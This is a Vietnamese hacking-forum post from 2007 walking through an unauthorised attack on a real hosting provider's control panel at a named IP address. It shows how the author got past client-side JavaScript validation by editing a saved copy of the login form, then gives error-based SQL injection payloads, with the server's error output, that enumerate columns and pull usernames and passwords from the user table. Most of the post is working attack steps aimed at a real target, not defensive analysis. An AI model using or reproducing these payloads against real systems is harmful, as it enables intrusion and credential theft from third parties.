banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Bài cũ: How I Hacked Ucvhost By Sql. TG:icarus  XML
  [Question]   Bài cũ: How I Hacked Ucvhost By Sql. TG:icarus 09/01/2007 00:03:20 (+0700) | #1 | 35048
komodo01
Member

[Minus]    0    [Plus]
Joined: 08/01/2007 07:01:49
Messages: 24
Offline
[Profile] [PM]
Người viết : Icarus

Sau khi xem bài "How I hacked www.Blackhatvn.org" của bác mrro trong box Case studied.

Khi đọc đến đoạn bác mrro truy cập vào Ucvhost.com và khai thác lỗi sql injection trên trang Control Panel cuả nó [http://12.30.241.66/cp/], em cũng thử hack nó xem

Đầu tiên em thấy nhập ' trong username thì nó thông báo


CODE
' " character's not allowed



Vậy là nó đã lọc ký hiệu ' và " trong username , làm sao bây giờ? Ta thử view source thì thấy nó có cái function validation(form) để kiểm tra dữ liệu nhập vào :


CODE
function validate(form) {
var temp = (form.USERNAME.value)

if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 ){
alert("\' \" character's not allowed");
return false;
}


else{
form.submit();
}
}



Nhận thấy cái validation này viết bằng Javascripts cho nên em save trang web này về và mở bằng Frontpage


CODE
if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 )
alert("\' \" character's not allowed");
return false;<<chỗ này nó kiểm tra dấu '

hàm indexof cho ra vị trí của từ cần tìm , nếu ko có thì cho ra giá trị -1
nên khi ta nhập dấu ' thì kết quả trả vể của indexof khác -1 nên sẽ return false

Ta sẽ sửa function lại như sau


CODE
function validate(form) {
var temp = (form.USERNAME.value)

if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 ){
form.submit();
}


else{
form.submit();
}
}



Với cách sửa trên thì mọi ký tự nhập vào function validate đều coi là hợp lệ
Sau đó em tìm


CODE
<form ... action='checkuser.asp'...>


và sửa lại thành

CODE
<form ... action='http://12.30.241.66/cp/checkuser.asp'>



Thế là ta mở trang web đã sửa và tha hồ nhập dấu ' mà ko sợ lỗi

Thế nhưng trong quá trình view source cuả nó em mới phát hiện rằng là nó chỉ kiểm tra ký tự ' trong username nhưng ko kiểm tra trong password (hixhix làm mình khổ công nãy giờ).

và em inject sql theo cách quen thuộc


CODE
'having 1=1--sp_password




CODE
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usertable.SNo' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.



vậy là nó bị kiểm tra user trong table usertable


CODE
' or 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='usertable' and column_name not in('SNo')))--sp_password




CODE
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'username' to a column of data type int.



và sau cùng ta lấy một host nào đó


CODE
' or 1=convert(int,(select top 1 username+'/'+password from usertable))--sp_password




Công nhận là SQL injection là một vuln khá nguy hiểm.
Hi vọng wa bài viết này các bạn có thêm kinh nghiệm hack hơn.

Mong các bạn góp ý thêm.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|